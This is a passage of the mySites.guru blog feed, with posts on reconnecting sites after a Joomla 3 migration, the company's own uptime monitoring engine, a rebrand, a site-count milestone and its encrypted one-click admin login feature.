&lt;p&gt;Joomla version management is part of our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 3</category><category>joomla 4</category><category>site management</category><category>migration</category><enclosure url="https://mysites.guru/img/og/blog/manage-your-joomla-4-sites-with-mysites-guru.png" length="0" type="image/png"/></item><item><title>Migrating to Modern Joomla When Using mySites.guru</title><link>https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/</guid><description>How to keep your sites connected to mySites.guru when migrating from Joomla 3 to Joomla 4, 5, or 6. Step-by-step connector swap process.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is not a guide on how to migrate Joomla 3 to a newer version. This is for mySites.guru subscribers who want to keep their sites connected and monitored after migrating.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;Joomla 3 reached end-of-life on August 17, 2023&lt;/a&gt;. No further releases will be made, even for security issues. If you still have Joomla 3 sites, migrating to Joomla 4, 5, or 6 should be a priority.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6&lt;/a&gt; is the current stable release. Which version you target depends on your hosting and what extensions you need. Check the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 requirements&lt;/a&gt; to see if your servers are ready.&lt;/p&gt;
&lt;h2&gt;Why is this a migration, not an upgrade?&lt;/h2&gt;
&lt;p&gt;Moving from Joomla 3 to Joomla 4+ is &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;a migration, not a one-click upgrade&lt;/a&gt;. Every plugin, extension, module, and template on your site needs a compatible version for the target Joomla release. &lt;a href=&quot;https://joomla3security.com/vendors/&quot;&gt;Some won’t have one&lt;/a&gt;. If you manage multiple sites, the &lt;a href=&quot;https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/&quot;&gt;template comparison tool&lt;/a&gt; helps you track which sites still need their templates migrated.&lt;/p&gt;
&lt;p&gt;Sometimes the only way to find out is to attempt the migration and fix what breaks. Plenty of migrations stall when that one extension you depend on hasn’t been updated in years and has no replacement.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;ℹ️ Joomla&apos;s official migration guides&lt;/p&gt;
  &lt;p&gt;These were written for the Joomla 3 to 4 migration. Some URLs may have moved since then, but the general process still applies for moving to Joomla 4+.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x&quot;&gt;Planning for Mini-Migration&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Joomla_3.x_to_4.x_Step_by_Step_Migration&quot;&gt;Step by Step Migration&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Pre-Update_Check&quot;&gt;Pre-Update Check&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/div&gt;
&lt;h2&gt;Why don’t we offer a fixed-fee migration service?&lt;/h2&gt;
&lt;p&gt;Every Joomla 3 site is different. The extensions, the template framework, whatever custom code has been bolted on over the years. We could get days into the work and hit a wall because one critical extension has no modern replacement.&lt;/p&gt;
&lt;p&gt;There’s no honest way to quote a fixed price for that, so we don’t offer it.&lt;/p&gt;
&lt;h2&gt;How do you reconnect mySites.guru after migration?&lt;/h2&gt;
&lt;p&gt;The Joomla 3 connector won’t work on Joomla 4 or later. Joomla 4, 5, and 6 each have their own dedicated connector plugin, built to take advantage of the PHP standards available in each major version.&lt;/p&gt;
&lt;p&gt;Here’s the process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Remove&lt;/strong&gt; the old mySites.guru plugin from your Joomla 3 site before migrating&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-delete-a-site-from-mysites-guru/&quot;&gt;Delete&lt;/a&gt;&lt;/strong&gt; the old site entry from your mySites.guru account&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Migrate&lt;/strong&gt; your site to your target Joomla version (4, 5, or 6) and get it stable&lt;/li&gt;
&lt;li&gt;In mySites.guru, click &lt;strong&gt;“Add Another Site”&lt;/strong&gt; and select the Joomla 4+ connector option&lt;/li&gt;
&lt;li&gt;Install the new connector in your migrated site’s admin panel&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After that, mySites.guru works the same as it did with your Joomla 3 site. All the same &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;monitoring and management tools&lt;/a&gt;, plus version-specific features like the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6&lt;/a&gt; requirements checker.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru connection wizard showing the Joomla 4+ connector option&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 665px) 665px, 100vw&quot; width=&quot;665&quot; height=&quot;1024&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-04-14.38.17-665x1024.B2xlp7sB_2hERbl.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-04-14.38.17-665x1024.B2xlp7sB_Z1c1zGe.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-04-14.38.17-665x1024.B2xlp7sB_2hERbl.webp 665w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you run into any issues during the reconnection, &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;get in touch&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Migration planning is covered in depth in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 3</category><category>migration</category><category>joomla 4</category><category>joomla 5</category><category>joomla 6</category><enclosure url="https://mysites.guru/img/og/blog/migrating-to-joomla-4-when-using-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Monitor site uptime with mySites.guru</title><link>https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/</guid><description>mySites.guru runs its own uptime monitoring engine with per-minute checks and instant downtime alerts at no extra cost.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We used to provide &lt;a href=&quot;https://uptimerobot.com&quot;&gt;UptimeRobot&lt;/a&gt; Integrated monitors for your sites, but now we are providing UNLIMITED FREE uptime monitors - powered by our own custom-written engine - to all mySites.guru subscribers and connected sites.&lt;/p&gt;
&lt;h2&gt;How does free uptime monitoring work?&lt;/h2&gt;
&lt;p&gt;mySites.guru used &lt;a href=&quot;https://uptimerobot.com&quot;&gt;UptimeRobot&lt;/a&gt; for uptime monitoring for nearly a decade. After &lt;a href=&quot;#why-we-stopped-using-uptimerobot&quot;&gt;reliability problems and a 352% price hike&lt;/a&gt;, we built our own engine instead. No extra cost to subscribers.&lt;/p&gt;
&lt;p&gt;The engine runs as a standalone Node.js service on its own infrastructure, separate from the main mySites.guru servers. It checks your connected sites and alerts you when they go offline (or worse, get hacked) so you can respond quickly. mySites.guru also does &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL checks&lt;/a&gt; and much more in our &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit tools&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The engine starts with a single HEAD request. If your site responds, great - nothing happens.&lt;/p&gt;
&lt;p&gt;If there’s no response within 45 seconds, it retries with a GET request and waits another 45 seconds. If that also fails, it makes one final GET request from a different location around the world (from a secret IP - your site shouldn’t be blocking IPs, it’s a public site). If all three fail, you get an email alert, and a message in Slack, Teams, Discord or Google Chat if you have &lt;a href=&quot;https://mysites.guru/blog/uptime-alert-webhooks/&quot;&gt;set up an uptime webhook&lt;/a&gt;. If you get an alert but your site loads fine for you, &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;there are a few common reasons for that&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sites on the same server are staggered across different check times so we don’t hit your server with a burst of HEAD requests all at once. For a summary of what is checked and how you are alerted, see the &lt;a href=&quot;https://mysites.guru/uptime-monitoring/&quot;&gt;uptime monitoring&lt;/a&gt; page.&lt;/p&gt;
&lt;p&gt;Downtime alerts are an operational email your &lt;a href=&quot;https://mysites.guru/blog/accountant-portal-invoice-access/&quot;&gt;bookkeeper or accountant&lt;/a&gt; does not need to see, which is why the Accountant Portal role is excluded from these notifications by default.&lt;/p&gt;
&lt;p&gt;We load-tested the platform to 1 million domain checks per second. The whole thing runs on three $5 servers - a fraction of what UptimeRobot was charging us. We just needed the push to build it ourselves.&lt;/p&gt;
&lt;div&gt;
  
  &lt;p&gt;The screenshots below are from an older version of the interface. The dashboard has since been redesigned, but the monitoring works the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Example email alert:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;496&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.15.21-1024x496.C8xhL_Uq_xyaKK.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.15.21-1024x496.C8xhL_Uq_1bdQig.webp 640w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.15.21-1024x496.C8xhL_Uq_Z2lYUoc.webp 750w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.15.21-1024x496.C8xhL_Uq_Z26br0m.webp 828w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.15.21-1024x496.C8xhL_Uq_xyaKK.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can see an overview of all your monitors in your account:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;408&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.08.07-1024x408.CEQMew-s_Z1YLMLR.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.08.07-1024x408.CEQMew-s_Z1RJW4E.webp 640w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.08.07-1024x408.CEQMew-s_5lvmQ.webp 750w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.08.07-1024x408.CEQMew-s_BAGcm.webp 828w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.08.07-1024x408.CEQMew-s_Z1YLMLR.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can also see the last 24 hours of response times, which makes it easy to spot performance problems:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;572&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.09.12-1024x572.DwPsBVk__Z1DYo30.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.09.12-1024x572.DwPsBVk__ioPs9.webp 640w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.09.12-1024x572.DwPsBVk__Z15mhqx.webp 750w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.09.12-1024x572.DwPsBVk__Z3iRvU.webp 828w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-22.09.12-1024x572.DwPsBVk__Z1DYo30.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Why did we stop using UptimeRobot?&lt;/h2&gt;
&lt;p&gt;mySites.guru used &lt;a href=&quot;https://uptimerobot.com&quot;&gt;UptimeRobot&lt;/a&gt; for uptime monitoring from 2012 until August 2021. After UptimeRobot was &lt;a href=&quot;https://blog.uptimerobot.com/uptimerobot-2020-update/&quot;&gt;acquired by itrinity&lt;/a&gt; in 2019, the service suffered repeated outages and our account was terminated without warning on multiple occasions. In July 2021, the new owners tried to raise our annual fee from $6,792 to $22,416 (a 352.4% increase) with 66 days’ notice. We declined, and on 12th August 2021 we switched to our own custom-built monitoring engine. It handles all our monitoring at a fraction of the cost, with no third-party dependency.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Uptime monitoring is covered in depth in our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>uptime</category><category>monitoring</category><category>alerts</category><enclosure url="https://mysites.guru/img/og/blog/monitor-your-sites-uptime-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>mySites.guru is the new name for rebranded myJoomla.com</title><link>https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/</guid><description>myJoomla.com has been rebranded as mySites.guru to reflect full support for Joomla, WordPress and any PHP-based website in one platform.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As our service now supports &lt;strong&gt;Joomla&lt;/strong&gt; and &lt;strong&gt;WordPress&lt;/strong&gt; CMS’s, its no longer appropriate to be called “&lt;a href=&quot;https://myJoomla.com&quot;&gt;myjoomla.com&lt;/a&gt;” and therefore we have changed the service name to &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For a limited time myJoomla.guru will be used to market to individual segments of the market specific to one of the platforms, but moving forward &lt;strong&gt;mySites.guru&lt;/strong&gt; will be the new name, and home of our service.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>rebrand</category><category>news</category><enclosure url="https://mysites.guru/img/og/blog/myjoomla-com-is-now-mysites-guru.png" length="0" type="image/png"/></item><item><title>90,000+ Sites Trust mySites.guru</title><link>https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/</guid><description>Over 90,000 Joomla, WordPress, and PHP sites are connected to mySites.guru - all managed from a single dashboard invested into daily by its founder.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Over 90,000 Joomla, WordPress, and PHP sites are connected to mySites.guru, with new ones added every day.&lt;/p&gt;
&lt;p&gt;People stick with us because the product works. Any service can &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;update&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers/&quot;&gt;monitor&lt;/a&gt; a site. But we deploy new code multiple times a day, react to emerging threats in real time, and add new hack file signatures daily. Our detection of hacks inside Joomla and WordPress files is something no one else comes close to.&lt;/p&gt;
&lt;p&gt;I work on this full time. Not a side hustle - it’s what I do.&lt;/p&gt;
&lt;p&gt;There’s always room to improve. Deploying multiple times a day means we do improve things daily, refining features and adding tools that make it easier to maintain your sites and your clients’ sites.&lt;/p&gt;
&lt;p&gt;90,000+ sites now trust mySites.guru. Still only the beginning.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>milestones</category><enclosure url="https://mysites.guru/img/og/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites.webp" length="0" type="image/webp"/></item><item><title>One-Click Admin Login to Any Site</title><link>https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/</guid><description>Skip the login page entirely. One click from mySites.guru logs you straight into any Joomla or WordPress admin console - no passwords stored, fully encrypted.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you manage more than a handful of sites, you know the routine: open a tab, navigate to /administrator or /wp-admin, type your username, type your password, hit enter, wait. Multiply that by 10, 50, or 200 sites and it adds up fast.&lt;/p&gt;
&lt;p&gt;One-click admin login removes all of that. From your mySites.guru dashboard, press a single button and you’re sitting in the admin console of any connected Joomla or WordPress site - logged in, ready to work.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;March 2026: Redesigned login screen&lt;/p&gt;
  &lt;p&gt;The one-click login experience has been redesigned with a cleaner, more focused interface. You now see a clear &quot;Signing you in&quot; confirmation with the target domain displayed front and center, along with a real-time status indicator as the secure session is established.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru one-click login screen showing a secure sign-in to example.com&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 892px) 892px, 100vw&quot; width=&quot;892&quot; height=&quot;760&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2026-03-30-signing-you-in.CPg-CShL_2epFxn.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2026-03-30-signing-you-in.CPg-CShL_zNiQ.webp 640w, https://mysites.guru/_astro/CleanShot-2026-03-30-signing-you-in.CPg-CShL_Z1qfwLX.webp 750w, https://mysites.guru/_astro/CleanShot-2026-03-30-signing-you-in.CPg-CShL_VR79S.webp 828w, https://mysites.guru/_astro/CleanShot-2026-03-30-signing-you-in.CPg-CShL_2epFxn.webp 892w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Thousands of users have been using this feature since 2017. We publish &lt;a href=&quot;https://manage.mysites.guru/en/live/stats&quot;&gt;live login statistics&lt;/a&gt; inside your account so you can see just how much time it saves across your team.&lt;/p&gt;
&lt;h2&gt;What does one-click login look like in practice?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Click the &lt;strong&gt;Admin Login&lt;/strong&gt; button next to any site&lt;/li&gt;
&lt;li&gt;A new tab opens and you’re already logged into the admin console&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That’s it. No credentials to type, no login pages to wait for.&lt;/p&gt;
&lt;h2&gt;How does the encrypted login handshake work?&lt;/h2&gt;
&lt;p&gt;Your password is never involved. We don’t ask for it, we don’t store it, and we don’t want it. Instead, every login goes through a multi-step encrypted handshake:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;mySites.guru contacts our request validation service to register an upcoming request&lt;/li&gt;
&lt;li&gt;An encrypted login request is sent to the mySites.guru plugin/extension on your site&lt;/li&gt;
&lt;li&gt;Your site checks back with our validation service to confirm the request is real&lt;/li&gt;
&lt;li&gt;After validation, your site decrypts the request and sees it’s a login instruction&lt;/li&gt;
&lt;li&gt;Your site creates a new session for the admin user you’ve pre-selected in mySites.guru&lt;/li&gt;
&lt;li&gt;You’re redirected to your site, where your browser picks up that session&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You’re logged in without a password ever crossing the wire. For logging into your mySites.guru account itself, we also support &lt;a href=&quot;https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/&quot;&gt;passkeys&lt;/a&gt; - so you can go fully passwordless end to end.&lt;/p&gt;
&lt;h2&gt;How do you set it up?&lt;/h2&gt;
&lt;p&gt;One-click login is an &lt;strong&gt;opt-in feature&lt;/strong&gt;. To enable it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Connect your site to your mySites.guru account&lt;/li&gt;
&lt;li&gt;Go to the &lt;strong&gt;Settings Tab&lt;/strong&gt; on the Manage Site page&lt;/li&gt;
&lt;li&gt;Select the admin user you want to log in as&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once configured, every admin link within mySites.guru automatically becomes a one-click login button.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Auto Sign In settings on the Manage Site page, showing the Super Users Group and Auto-login user fields&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;581&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-settings.JYY1oPMY_1gCoMA.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-settings.JYY1oPMY_Z22x8Un.webp 640w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-settings.JYY1oPMY_Z2eLhOs.webp 750w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-settings.JYY1oPMY_Z1Ljhcd.webp 828w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-settings.JYY1oPMY_Z1XJQ6G.webp 1080w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-settings.JYY1oPMY_yTo67.webp 1280w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-settings.JYY1oPMY_ZzkmfW.webp 1668w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-settings.JYY1oPMY_ZWVpQW.webp 2048w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-settings.JYY1oPMY_1gCoMA.webp 2400w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What is the mySites.guru auto sign-in dashboard?&lt;/h2&gt;
&lt;p&gt;Need to jump between multiple sites quickly? The &lt;a href=&quot;https://manage.mysites.guru/auto-sign-in/&quot;&gt;Secure Auto Sign In&lt;/a&gt; dashboard lists all your connected sites with a login button next to each one. You can also choose which user to log in as, per site.&lt;/p&gt;
&lt;p&gt;Three ways to get there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Press &lt;strong&gt;ll&lt;/strong&gt; (two lowercase L’s) from anywhere in mySites.guru&lt;/li&gt;
&lt;li&gt;Press &lt;strong&gt;Cmd+K&lt;/strong&gt; to open the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; and search for “Secure Auto Sign In”&lt;/li&gt;
&lt;li&gt;Use the Tool Finder&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Secure Auto Sign In dashboard in mySites.guru, showing a list of connected sites with View Site and Admin Login buttons&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;1620&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-dashboard.CJdsFQ6o_ZnSicn.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-dashboard.CJdsFQ6o_ZaNcPi.webp 640w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-dashboard.CJdsFQ6o_ozTrf.webp 750w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-dashboard.CJdsFQ6o_25WlD9.webp 828w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-dashboard.CJdsFQ6o_Z28sBvc.webp 1080w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-dashboard.CJdsFQ6o_ZUK64E.webp 1280w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-dashboard.CJdsFQ6o_Z1I9vqR.webp 1668w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-dashboard.CJdsFQ6o_Z20Arae.webp 2048w, https://mysites.guru/_astro/CleanShot-2026-03-30-auto-sign-in-dashboard.CJdsFQ6o_ZnSicn.webp 2400w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What if your admin area has .htaccess protection?&lt;/h2&gt;
&lt;p&gt;If your admin area is behind .htaccess basic auth, you have two options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Store the credentials&lt;/strong&gt; on the site’s settings page in mySites.guru so login is fully automatic&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enter them once manually&lt;/strong&gt; when prompted - your browser caches .htaccess credentials until you restart it, so you’ll rarely need to re-enter them&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why does passwordless login matter for agencies?&lt;/h2&gt;
&lt;p&gt;Shared credentials are one of the biggest security liabilities in agency life. A spreadsheet of admin passwords floating around your team, sitting in a Slack thread, or saved in someone’s browser is a breach waiting to happen. When a team member leaves, you’re scrambling to figure out which sites they had access to and which passwords need rotating.&lt;/p&gt;
&lt;p&gt;One-click login sidesteps the whole problem. No passwords are stored, shared, or transmitted. Each login is a unique encrypted session that’s validated in real time. If someone leaves your team, you revoke their mySites.guru access and they lose the ability to log into every connected site immediately. No password rotation needed.&lt;/p&gt;
&lt;p&gt;This is also safer than browser-saved passwords or even most password managers in a team context. Those tools still store the actual credential somewhere. With mySites.guru, the credential simply doesn’t exist in the workflow. Your site’s admin password can be a 64-character random string that no one ever types, because no one needs to.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru compare to other management tools?&lt;/h2&gt;
&lt;p&gt;Most WordPress hosting platforms now offer some version of one-click admin access. Kinsta has WP Admin auto-login through MyKinsta, and Flywheel offers Seamless Login from their dashboard. ManageWP (owned by GoDaddy) has had one-click login for years.&lt;/p&gt;
&lt;p&gt;Three practical differences using mySites.guru:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WordPress and Joomla.&lt;/strong&gt; Every competitor listed above is WordPress-only. If you manage a mixed portfolio with Joomla sites alongside WordPress, mySites.guru is the only dashboard that handles both from one place.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Host-independent.&lt;/strong&gt; Kinsta and Flywheel only work with sites hosted on their own platform. mySites.guru connects to any site on any host, whether it’s a $5 VPS or a dedicated server you manage yourself.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No credential storage.&lt;/strong&gt; Some tools require you to store admin credentials on their servers. mySites.guru never touches your password. The encrypted handshake means there’s nothing to leak &lt;a href=&quot;https://mysites.guru/blog/is-it-safe-to-connect-client-sites-to-mysites-guru/&quot;&gt;even if our database were compromised&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;When does mySites.guru one-click login save the most time?&lt;/h2&gt;
&lt;p&gt;The feature sounds like a small convenience until you use it at scale. Three places where it actually changes the workflow:&lt;/p&gt;
&lt;h3&gt;Emergency response&lt;/h3&gt;
&lt;p&gt;A client calls to say their site is broken. Instead of hunting for credentials, navigating to wp-admin, and typing everything in, you click one button and you’re inside their admin console within two seconds.&lt;/p&gt;
&lt;h3&gt;Morning check routines&lt;/h3&gt;
&lt;p&gt;If you run through 20-50 sites each morning to check for issues, one-click login turns a 30-minute ritual of typing passwords into a 5-minute scan. Open the &lt;a href=&quot;https://manage.mysites.guru/auto-sign-in/&quot;&gt;auto sign-in dashboard&lt;/a&gt;, click through each site, check what you need, move on. Combined with &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts for admin logins and file changes&lt;/a&gt;, you catch problems before your clients notice them.&lt;/p&gt;
&lt;h3&gt;Client support&lt;/h3&gt;
&lt;p&gt;A client asks you to check a plugin setting or debug a form that’s not working. You’re logged into their admin console before they finish explaining the problem. No back-and-forth asking for credentials, no waiting for them to find their password.&lt;/p&gt;
&lt;h2&gt;Can you log in as a different user with mySites.guru?&lt;/h2&gt;
&lt;p&gt;Yes. The auto-login configuration lets you choose which user to log in as on each site. If you normally log in as the Super Admin but need to check something as an editor or a client’s own account, just change the selected user in the site’s settings. The next time you click Admin Login, you’ll be logged in as that user instead.&lt;/p&gt;
&lt;p&gt;This is useful for support situations where a client reports a problem that’s specific to their account or role. Rather than asking them to describe what they see, you log in as their user and see it yourself.&lt;/p&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;Universal User Management&lt;/a&gt; takes this further. From a single page, you can search every user account across all your connected sites, find a user by name or email, see which sites they have accounts on, reset their password, or change their role.&lt;/p&gt;
&lt;p&gt;For your own mySites.guru team, there’s also a separate &lt;a href=&quot;https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/&quot;&gt;team member impersonation&lt;/a&gt; feature. As the account owner, you can switch into any team member’s session to see exactly what they see, verify their permissions are correct, or debug an issue they’re reporting. No credentials needed, and you exit back to your own account instantly.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
